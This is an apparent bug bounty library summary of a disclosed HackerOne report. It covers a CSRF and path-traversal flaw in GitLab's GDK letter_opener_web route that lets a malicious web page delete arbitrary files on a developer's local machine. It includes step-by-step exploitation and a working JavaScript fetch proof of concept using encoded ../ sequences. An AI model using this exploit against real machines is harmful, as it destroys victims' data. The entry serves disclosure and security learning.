# Drive-by arbitrary file deletion in the GDK via letter_opener_web gem

Unauthenticated CSRF in letter_opener_web dev route lets a malicious site delete arbitrary files on a GDK developer's machine via path traversal in Firefox/Safari.

- Payout: $750
- Severity: medium
- Program: GitLab
- Found by: vakzz
- Disclosed: 2021-11-12
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/1353103
- Library page: https://bugbountylibrary.com/r/h1%3A1353103
- Tags: area:oss domain:oss impact:integrity kind:bounty platform:hackerone sev:medium tech:ruby technique:chained technique:source-review vuln:csrf vuln:path-traversal

**Target:** GitLab GDK development route /rails/letter_opener (letter_opener_web gem)
**Root cause:** The letter_opener_web destroy route lacks CSRF protection and auth, and Letter#delete passes the user-controlled id directly into FileUtils.rm_rf, allowing ../ traversal.
**Steps:**
1. Run GDK with GitLab on http://localhost:3000 and visit /rails/letter_opener to confirm letters exist
2. Create /tmp/something as a test file
3. From a malicious page in Firefox/Safari, build path `%2e%2e%2f`.repeat(20) + encodeURIComponent('/tmp/something')
4. POST to `http://127.0.0.1:3000/rails/letter_opener/<path>` with FormData `_method=DELETE`, `mode:'no-cors'`
5. Observe /tmp/something deleted
**How found:** Noticed the dev-only mounted letter_opener_web engine, read its controller/model source, saw destroy lacked CSRF and that id flowed into rm_rf; then reasoned about CORS simple requests and browser differences in %2e decoding to bypass traversal filtering.
**Exploitation:** Attacker hosts a page that issues a no-cors simple POST (FormData with _method=DELETE) to the victim's localhost letter_opener route; encoded ../ sequences traverse out of letters_location and FileUtils.rm_rf deletes arbitrary paths. Chrome auto-decodes %2e so Firefox/Safari are required.
**Insight:** Dev-only debug mounts (mail viewers, admin panels) on localhost are reachable cross-origin via no-cors simple requests; check whether their params reach filesystem or shell sinks, and test %2e encoding differences across browsers to bypass traversal filters.

## Proof of concept (copied exactly from the original report)

**JavaScript CSRF fetch deleting arbitrary file**

```
function deleteFile() {
            const fileToDelete = fileInput.value;
            fileInput.value = "";

            const path = "%2e%2e%2f".repeat(20) + encodeURIComponent(fileToDelete);
            const url = `http://127.0.0.1:3000/rails/letter_opener/${path}`
            
            const form = new FormData()
            form.append("_method", "DELETE")
            return fetch(url, { method: 'POST', body: form, mode: "no-cors" });
```

